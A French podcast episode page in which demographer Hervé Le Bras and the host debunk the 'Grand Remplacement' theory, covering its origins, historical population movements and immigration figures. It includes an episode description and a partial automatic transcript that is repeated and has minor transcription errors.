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#254 Debunker le Grand Remplacement avec Hervé le Bras

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#254 Debunker le Grand Remplacement avec Hervé le Bras
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GREGORY : Bonjour a tous, bonjour Hervé !

HERVÉ : Bonjour.

GREGORY : On va parler du grand remplacement. Il y a un concept, moi, qui m’étonne toujours un peu, même beaucoup, parce qu’il m’étonne surtout ce qu’il ya autant de gens qui y croient en France. Peut être qu’on pourrait commencer par expliquer comment ?

HERVÉ : Je sais pas, c’est peut être sans doute la première question qui me vient, moi en tout cas: comment s’est construite la France? Parce que, est-ce que la France n’a pas été construite par définition, par des gens qui sont arrivés sur le territoire?

HERVÉ : Oui, et non la théorie générale, disons, de la construction de la France: C’est plutôt un pouvoir royal, et puis ensuite la république, mais qui a, qui a progressivement annexé différentes parties de différentes provinces. Certaines ont été annexées, même assez, c’est récemment, l’alsace, le roussillon, C’est plutôt la manière dont la France est construite, par position, par exemple à l’Allemagne, qui s’est construite autour de l’idée de la langue allemande, c’était on devait rassembler ceux qui parlaient la langue allemande. Là-dedans, bien sûr, les origines étaient diverses, mais très diverses même, mais elles étaient des origines qui étaient assez souvent, quand même, si on remonte à quatre, cinq derniers siècles, qui étaient des origines assez provinciales. C’était des italiens qui venaient du nord, c’était des flamands, des belges, c’était disons, d’émigration quand même de proximité. Bien sûr, auparavant, il y avait eu des très grands brassages de populations. Si on remonte à cette fois là à l’empire romain ou ou même au néolithique, les origines sont très lointaines. Il y a des origines assez largement, disons, quand on le retrouve même dans l’analyse du sang, qui sont des origines du Proche-Orient, assez largement, c’est c’est au fond, les premiers agriculteurs sont venus progressivement du Proche-Orient. Non, mais il y a très longtemps, c’est il y a sept, 8000 ans, et puis aussi des origines de nomades qui sont venus de l’oural, et puis aussi des personnes qui étaient là depuis toujours, l’homme de Cro-Magnon et ses descendants. C’est c’est bien sûr très mélangé, mais tout dépend de la profondeur historique.

GREGORY : Que l’on prend bien sûr, mais par définition, un pays, c’est un peu comme une langue, c’est-à-dire que tant qu’il est vivant, il y a des flux. Il me semble.

HERVÉ : Bien sûr, c’est c’est un philosophe français. Etienne Balibar, le père de Jeanne, a écrit un assez joli livre qui s’intitule si je me souviens bien, race, classe, nation, les identités, ambigu. Et cette phrase: il a dit: aucune nation n’a un caractère ethnique, c’est-à-dire toutes les nations sont des mélanges de plusieurs groupes humains.

GREGORY : Bien sûr, bien sûr, d’où ça sort ce concept de grand remplacement? Est-ce que C’est lié à cette hauteur d’extrême droite dont le nom M.’échappe Renaud Camus, Reno, Camus? Ou est-ce que c’est d’où pourquoi pourquoi, d’un coup, on a commencé à parler de cette théorie?

HERVÉ : C’est une question, dans mon livre, justement, que je me suis bien sûr posé. J’ai avant même de M.’attaquer à: est-ce que ce concept à un sens? Je me suis demandé d’où il sortait, parce que les mots sont très importants et c’est vrai qu’il ya une nouveauté dans ces mots. Je pense, disons, pour répondre d’abord avant de dire exactement d’où il sort, peut être être plus globalement, je pense qu’il y avait une mesure du terme invasion. Ce terme avait été prononcé très tôt et, au fond, l’invasion n’était pas vraiment arrivé. Bien sûr, il y avait des arrivées d’étrangers il y avait des quartiers qui étaient, je dirais, de plus en plus peuplé d’immigrer d’autres non, mais certains oui, mais ça ne marchait pas vraiment, c’était pas, on n’était pas complètement envahi. Et puis, il y avait aussi le terme. On avait essayé, le terme marine le Pen, à essayer le terme de submersion, qui était un peu une autre façon de dire la même chose, mais ça marchait toujours pas. Je pense que l’extrême droite était à la recherche D’un thème nouveau qui traduise cette angoisse assez ancienne des français, mais qui la renouvelle. Et la grande force, on peut quand même le dire, de ce terme, parce que C’est on-dit, théorie, c’est pas du tout une théorie. Même son auteur nice, ça soit une théorie. C’est C’est, il dit, c’est une évidence. C’est au fond la grande nouveauté dans ce terme, c’est qu’au lieu de se fonder sur un passé, les invasions, c’est les grandes invasions qui se poursuivent. Ça place le terme dans le futur, c’est l’état du futur. On sera remplacé. C’est un peu comme au fond, le qu’on appelle l’eschatologie c’est-à-dire on place la fin des temps, on place le jugement dernier, l’apocalypse et on réfléchit par rapport à l’arrivée de cet apocalypse. Les chrétiens disent: c’est bien, il faut qu’on y aille, puisqu’on dira: ensuite, on sera libéré de tous les ennuis terrestres, on sera au ciel. Mais c’est quand même: C’est idée qu’à un moment donné quelque chose, on va buter contre un mur. Et ça C’est c’est très fort, parce qu’on n’est plus obligé de faire tout un ressassant des origines, des grandes invasions, de l’arrivée des. Ça devient presque secondaire par rapport à ce Qu’on présente comme un danger. Et Renaud Camus a été insa parce que non seulement il a présenté ça justement comme une évidence, mais comme une évidence très proche. Ça me rappelle, puisque J’ai pris l’exemple de l’apocalypse après tout, Luther a fait la même chose dans ces discours, à un moment donné, dans ces discours de table et tirade, il me dit: je pense que l’apocalypse ça arriverait à la fin des temps, dans une dizaine d’années mais au rythme auquel les choses se détraquent, je pense que ça sera encore plus rapidement. Vous imaginez penser, il y a quelque chose chez Renaud Camus de cet ordre. Là. Il dit notamment: le type: D’un délivre doit être 2019 ou 2021, dernière ou même dernière élection avant le grand remplacement. Lui même a un air de d’urgence exactement ce ça je prends la force par rapport au thème de l’invasion et C’est ce qu’il a fait ou ce qui a rendu ce thème nouveau.

GREGORY : Et, en même temps, le grand remplacement, il a existé, c’est-à-dire qu’il ya eu des grands remplacements. Moi, je pense en particulier aux États-Unis, à l’Amérique, à l’Australie. Ils ont été remplacés. Vous avez tout à fait raison.

HERVÉ : Non, ça existe, mais c’est des remplacements qui ont une particularité par rapport à celui que dont nous menace Renaud Camus et ses émules: c’est une population qui était beaucoup plus, beaucoup mieux armés, qui étaient beaucoup plus développée techniquement que les populations indiennes ou bien aborigènes d’australie. Hors là, on est dans le cas inverse: C’est les populations qui arrivent, sont plutôt moins éduquées, viennent de pays qui sont moins techniques que les nôtres. C’est c’est l’inverse il faut bien voir que c’est dans les fonds, justement, même les invasions anciennes, c’est ceux qui sont le mieux armés, ceux qui sont les plus aptes à faire la guerre, qui l’emportent les francs, quand ils ont envahi la France, comme on le dit souvent d’après les comptages: Qu’on a pu faire, c’était sans doute de l’ordre de 100 personnes, femmes et enfants comprises, que la Gaule, à cette époque, comptait au moins 6 millions de la Gaule romaine, au moins ciblions de personnes. Quand on prend les mongols, les troupes de Tamerlan, c’était des groupes assez petits, c’est jamais des très, très grosses masses. Et au fond, quand on voit ce qu’a fait, par exemple, la rive des espagnols cortès, en arrivant au mexique, il est, avec cinq cents, cinq cents soldats et cavalier, dans un empire, celui de mots humains, qui compte sans doute une dizaine de millions d’habitants il y a là-dedans un rapport qui n’est pas du tout un rapport de masse, mais qui est un rapport de technique.

GREGORY : C’est c’est incroyable! Pour parler de manière concrète, on va parler des chiffres. Moi, je me suis beaucoup intéressé, je vous l’Ai dit, aux commentaires, en particulier sur des médias d’extrême droite. Je me suis intéressé aux commentaires. Qu’est-ce que, qu’est-ce que disent les gens quand ils vous écoutent? Parce que votre bouquin, le test, il est très clair, il a pas de doute sur le fait pour ça, il laisse même pas le doute que ce soit possible. Une une des remarques, c’est de dire: les chiffres qu’ils nous donnent et on va y revenir. C’est des chiffres qui viennent de l’inca ça arrange bien l’état de dire ça. La vérité, nous, on la connaît, et c’est bien le grand remplacement. Il y a qu’à regarder les photos de classe, etc, ça, on va y revenir, suivi de se balader dans la rue pour se rendre compte que, concrètement, il y a quand même de plus en plus de noirs et d’arabes parce que c’est de ça qui s’agit que, qu’il ya 40 ans, d’avoir c’est quoi, les chiffres de l’immigration pour remettre les pendules à leur? Parce que je crois qu’il me semble que j’avais lu une stade comme ça qui disait que les français pensent, c’est vrai, qu’il y avait après, 30 % de Musulmans. Les arabes sont devenus musulmans avec les attentats, mais 30 % de Musulmans en France, qui est pas du tout la réalité, je crois pas. C’est quoi, c’est quoi? La réalité statistique d’abord peut être.

HERVÉ : C’est d’abord penser qu’on peut avoir un chiffre de la migration. C’est une erreur. Il y a des chiffres. Les chiffres répondent à des questions. On peut répondre par exemple: combien yaT il d’entrée d’étrangers en France, Anne, ou telle ou telle année? On peut chercher à y répondre: C’est pas facile. On peut avoir une fourchette. Dans le cas du grand remplacement, c’est au fond paradoxalement plus facile, parce que qu’est-ce que ça veut dire? Grand remplacement? Comme Renault, Camille refuse de le définir, il est quand même obligé ici de dire de quoi il s’agit et ce qu’il dit, c’est un peuple remplace un autre peuple. C’est cet autre peuple, bien sûr. C’est le peuple des, disons, des immigrés. Entre pas dans le détail, ça n’a pas de sens, d’ailleurs de qualifier l’ensemble des immigrés de peuple.

Description de l’épisode

Hervé le Bras est géographe et historien, il est chercheur à l’Institut National d’études démographique et auteur de nombreux livres dont “Il n’y a pas de grand remplacement”.

Le titre de l’ouvrage est explicit et clair (au cas où vous aviez un doute). Pourtant presque 60% des français croient dans cette théorie inventée de toutes pièces et mise en lumière par Eric Zemmour pour sa campagne (personne ne s’est dit : le mec est lui même un juif d’origine maghrébine d’ailleurs, ca m’échappe, c’est comme Hitler qui faisait la promotion des Aryens…personne n’a remarqué qu’il n’était pas grand blond aux yeux bleus).

Pour préparer cet épisode, j’ai utilisé une méthode très différente de celles que j’utilise habituellement, j’ai regardé les commentaires sous des vidéos ou Hervé Le Bras parle de Grand Remplacement pour justement reprendre tous les arguments des personnes qui croient dans la théorie du grand remplacement qui n’est ni plus ni moins que du racisme déguisé en réalité.

Un des arguments d’ailleurs est de regarder les photos de classe mais je n’ai aucun doute ou ces personnes me situeraient si elles me voyaient sur la dîtes photo…pourtant ma mère est Martiniquaise et mon père Bourguignon, cela fait de moi un “bon français” mais je sais pertinemment que pour une personne raciste qui me rencontre dans la rue, je ressemble surtout à un marghrebin ou un indien ou autre mais en tous cas pas un français de souche…

Alors avec Hervé nous répondons à ces différentes questions :

Comment s’est construite la France?

La France ne s’est elle pas construite par des vagues d’immigration par définition?

Pourquoi la théorie du grand remplacement a pris autant de place?

Des Grands remplacements ont existé en Amérique et en Australie ou Afrique du Sud mais ce sont les Européens qui ont remplacé pas l’inverse?

Quels sont les chiffres de l’immigration?

Qui sont les immigrés en France?

Est-ce que le problème n’est pas lié à l’interdiction des statistiques raciales?

Mais si on regarde les photos de classe, il y a plus de noirs et d’arabes?

Pourquoi cette peur irrationnelle vers les musulmans?

Comment un fils d’immigré tunisien peut mettre en avant le Grand Remplacement?

Comment peut on comparer le modèle d’intégration française et américaine?

Est-ce qu’ils ne veulent pas s’intégrer dans la culture française?

Est-ce que la problématique n’est pas sociale?

Qu’est ce que le petit remplacement?

La culture d’autres civilisations est déjà bien intégrée en France non?

Est-ce que l’arrivée d’étrangers n’est pas un enrichissement de notre culture?

Que pensez vous des migrants?

Qu’est ce que coute des immigrés à la France concrètement?

Suggestion d’autres épisodes à écouter :

Vlan #113 Revenir au temps long pour comprendre le monde avec Christian Grataloup (https://audmns.com/eSlZGOZ)
Vlan #103 Comment passer du rejet des migrants à leur accueil avec Lionel Pourtau (https://audmns.com/QaEGpTn)

Le titre de l’ouvrage est explicit et clair (au cas où vous aviez un doute). Po…

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Transcription partielle de l’épisode

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GREGORY : Bonjour a tous, bonjour Hervé !

HERVÉ : Bonjour.

GREGORY : On va parler du grand remplacement. Il y a un concept, moi, qui m’étonne toujours un peu, même beaucoup, parce qu’il m’étonne surtout ce qu’il ya autant de gens qui y croient en France. Peut être qu’on pourrait commencer par expliquer comment ?

HERVÉ : Je sais pas, c’est peut être sans doute la première question qui me vient, moi en tout cas: comment s’est construite la France? Parce que, est-ce que la France n’a pas été construite par définition, par des gens qui sont arrivés sur le territoire?

HERVÉ : Oui, et non la théorie générale, disons, de la construction de la France: C’est plutôt un pouvoir royal, et puis ensuite la république, mais qui a, qui a progressivement annexé différentes parties de différentes provinces. Certaines ont été annexées, même assez, c’est récemment, l’alsace, le roussillon, C’est plutôt la manière dont la France est construite, par position, par exemple à l’Allemagne, qui s’est construite autour de l’idée de la langue allemande, c’était on devait rassembler ceux qui parlaient la langue allemande. Là-dedans, bien sûr, les origines étaient diverses, mais très diverses même, mais elles étaient des origines qui étaient assez souvent, quand même, si on remonte à quatre, cinq derniers siècles, qui étaient des origines assez provinciales. C’était des italiens qui venaient du nord, c’était des flamands, des belges, c’était disons, d’émigration quand même de proximité. Bien sûr, auparavant, il y avait eu des très grands brassages de populations. Si on remonte à cette fois là à l’empire romain ou ou même au néolithique, les origines sont très lointaines. Il y a des origines assez largement, disons, quand on le retrouve même dans l’analyse du sang, qui sont des origines du Proche-Orient, assez largement, c’est c’est au fond, les premiers agriculteurs sont venus progressivement du Proche-Orient. Non, mais il y a très longtemps, c’est il y a sept, 8000 ans, et puis aussi des origines de nomades qui sont venus de l’oural, et puis aussi des personnes qui étaient là depuis toujours, l’homme de Cro-Magnon et ses descendants. C’est c’est bien sûr très mélangé, mais tout dépend de la profondeur historique.

GREGORY : Que l’on prend bien sûr, mais par définition, un pays, c’est un peu comme une langue, c’est-à-dire que tant qu’il est vivant, il y a des flux. Il me semble.

HERVÉ : Bien sûr, c’est c’est un philosophe français. Etienne Balibar, le père de Jeanne, a écrit un assez joli livre qui s’intitule si je me souviens bien, race, classe, nation, les identités, ambigu. Et cette phrase: il a dit: aucune nation n’a un caractère ethnique, c’est-à-dire toutes les nations sont des mélanges de plusieurs groupes humains.

GREGORY : Bien sûr, bien sûr, d’où ça sort ce concept de grand remplacement? Est-ce que C’est lié à cette hauteur d’extrême droite dont le nom M.’échappe Renaud Camus, Reno, Camus? Ou est-ce que c’est d’où pourquoi pourquoi, d’un coup, on a commencé à parler de cette théorie?

HERVÉ : C’est une question, dans mon livre, justement, que je me suis bien sûr posé. J’ai avant même de M.’attaquer à: est-ce que ce concept à un sens? Je me suis demandé d’où il sortait, parce que les mots sont très importants et c’est vrai qu’il ya une nouveauté dans ces mots. Je pense, disons, pour répondre d’abord avant de dire exactement d’où il sort, peut être être plus globalement, je pense qu’il y avait une mesure du terme invasion. Ce terme avait été prononcé très tôt et, au fond, l’invasion n’était pas vraiment arrivé. Bien sûr, il y avait des arrivées d’étrangers il y avait des quartiers qui étaient, je dirais, de plus en plus peuplé d’immigrer d’autres non, mais certains oui, mais ça ne marchait pas vraiment, c’était pas, on n’était pas complètement envahi. Et puis, il y avait aussi le terme. On avait essayé, le terme marine le Pen, à essayer le terme de submersion, qui était un peu une autre façon de dire la même chose, mais ça marchait toujours pas. Je pense que l’extrême droite était à la recherche D’un thème nouveau qui traduise cette angoisse assez ancienne des français, mais qui la renouvelle. Et la grande force, on peut quand même le dire, de ce terme, parce que C’est on-dit, théorie, c’est pas du tout une théorie. Même son auteur nice, ça soit une théorie. C’est C’est, il dit, c’est une évidence. C’est au fond la grande nouveauté dans ce terme, c’est qu’au lieu de se fonder sur un passé, les invasions, c’est les grandes invasions qui se poursuivent. Ça place le terme dans le futur, c’est l’état du futur. On sera remplacé. C’est un peu comme au fond, le qu’on appelle l’eschatologie c’est-à-dire on place la fin des temps, on place le jugement dernier, l’apocalypse et on réfléchit par rapport à l’arrivée de cet apocalypse. Les chrétiens disent: c’est bien, il faut qu’on y aille, puisqu’on dira: ensuite, on sera libéré de tous les ennuis terrestres, on sera au ciel. Mais c’est quand même: C’est idée qu’à un moment donné quelque chose, on va buter contre un mur. Et ça C’est c’est très fort, parce qu’on n’est plus obligé de faire tout un ressassant des origines, des grandes invasions, de l’arrivée des. Ça devient presque secondaire par rapport à ce Qu’on présente comme un danger. Et Renaud Camus a été insa parce que non seulement il a présenté ça justement comme une évidence, mais comme une évidence très proche. Ça me rappelle, puisque J’ai pris l’exemple de l’apocalypse après tout, Luther a fait la même chose dans ces discours, à un moment donné, dans ces discours de table et tirade, il me dit: je pense que l’apocalypse ça arriverait à la fin des temps, dans une dizaine d’années mais au rythme auquel les choses se détraquent, je pense que ça sera encore plus rapidement. Vous imaginez penser, il y a quelque chose chez Renaud Camus de cet ordre. Là. Il dit notamment: le type: D’un délivre doit être 2019 ou 2021, dernière ou même dernière élection avant le grand remplacement. Lui même a un air de d’urgence exactement ce ça je prends la force par rapport au thème de l’invasion et C’est ce qu’il a fait ou ce qui a rendu ce thème nouveau.

GREGORY : Et, en même temps, le grand remplacement, il a existé, c’est-à-dire qu’il ya eu des grands remplacements. Moi, je pense en particulier aux États-Unis, à l’Amérique, à l’Australie. Ils ont été remplacés. Vous avez tout à fait raison.

HERVÉ : Non, ça existe, mais c’est des remplacements qui ont une particularité par rapport à celui que dont nous menace Renaud Camus et ses émules: c’est une population qui était beaucoup plus, beaucoup mieux armés, qui étaient beaucoup plus développée techniquement que les populations indiennes ou bien aborigènes d’australie. Hors là, on est dans le cas inverse: C’est les populations qui arrivent, sont plutôt moins éduquées, viennent de pays qui sont moins techniques que les nôtres. C’est c’est l’inverse il faut bien voir que c’est dans les fonds, justement, même les invasions anciennes, c’est ceux qui sont le mieux armés, ceux qui sont les plus aptes à faire la guerre, qui l’emportent les francs, quand ils ont envahi la France, comme on le dit souvent d’après les comptages: Qu’on a pu faire, c’était sans doute de l’ordre de 100 personnes, femmes et enfants comprises, que la Gaule, à cette époque, comptait au moins 6 millions de la Gaule romaine, au moins ciblions de personnes. Quand on prend les mongols, les troupes de Tamerlan, c’était des groupes assez petits, c’est jamais des très, très grosses masses. Et au fond, quand on voit ce qu’a fait, par exemple, la rive des espagnols cortès, en arrivant au mexique, il est, avec cinq cents, cinq cents soldats et cavalier, dans un empire, celui de mots humains, qui compte sans doute une dizaine de millions d’habitants il y a là-dedans un rapport qui n’est pas du tout un rapport de masse, mais qui est un rapport de technique.

GREGORY : C’est c’est incroyable! Pour parler de manière concrète, on va parler des chiffres. Moi, je me suis beaucoup intéressé, je vous l’Ai dit, aux commentaires, en particulier sur des médias d’extrême droite. Je me suis intéressé aux commentaires. Qu’est-ce que, qu’est-ce que disent les gens quand ils vous écoutent? Parce que votre bouquin, le test, il est très clair, il a pas de doute sur le fait pour ça, il laisse même pas le doute que ce soit possible. Une une des remarques, c’est de dire: les chiffres qu’ils nous donnent et on va y revenir. C’est des chiffres qui viennent de l’inca ça arrange bien l’état de dire ça. La vérité, nous, on la connaît, et c’est bien le grand remplacement. Il y a qu’à regarder les photos de classe, etc, ça, on va y revenir, suivi de se balader dans la rue pour se rendre compte que, concrètement, il y a quand même de plus en plus de noirs et d’arabes parce que c’est de ça qui s’agit que, qu’il ya 40 ans, d’avoir c’est quoi, les chiffres de l’immigration pour remettre les pendules à leur? Parce que je crois qu’il me semble que j’avais lu une stade comme ça qui disait que les français pensent, c’est vrai, qu’il y avait après, 30 % de Musulmans. Les arabes sont devenus musulmans avec les attentats, mais 30 % de Musulmans en France, qui est pas du tout la réalité, je crois pas. C’est quoi, c’est quoi? La réalité statistique d’abord peut être.

HERVÉ : C’est d’abord penser qu’on peut avoir un chiffre de la migration. C’est une erreur. Il y a des chiffres. Les chiffres répondent à des questions. On peut répondre par exemple: combien yaT il d’entrée d’étrangers en France, Anne, ou telle ou telle année? On peut chercher à y répondre: C’est pas facile. On peut avoir une fourchette. Dans le cas du grand remplacement, c’est au fond paradoxalement plus facile, parce que qu’est-ce que ça veut dire? Grand remplacement? Comme Renault, Camille refuse de le définir, il est quand même obligé ici de dire de quoi il s’agit et ce qu’il dit, c’est un peuple remplace un autre peuple. C’est cet autre peuple, bien sûr. C’est le peuple des, disons, des immigrés. Entre pas dans le détail, ça n’a pas de sens, d’ailleurs de qualifier l’ensemble des immigrés de peuple.

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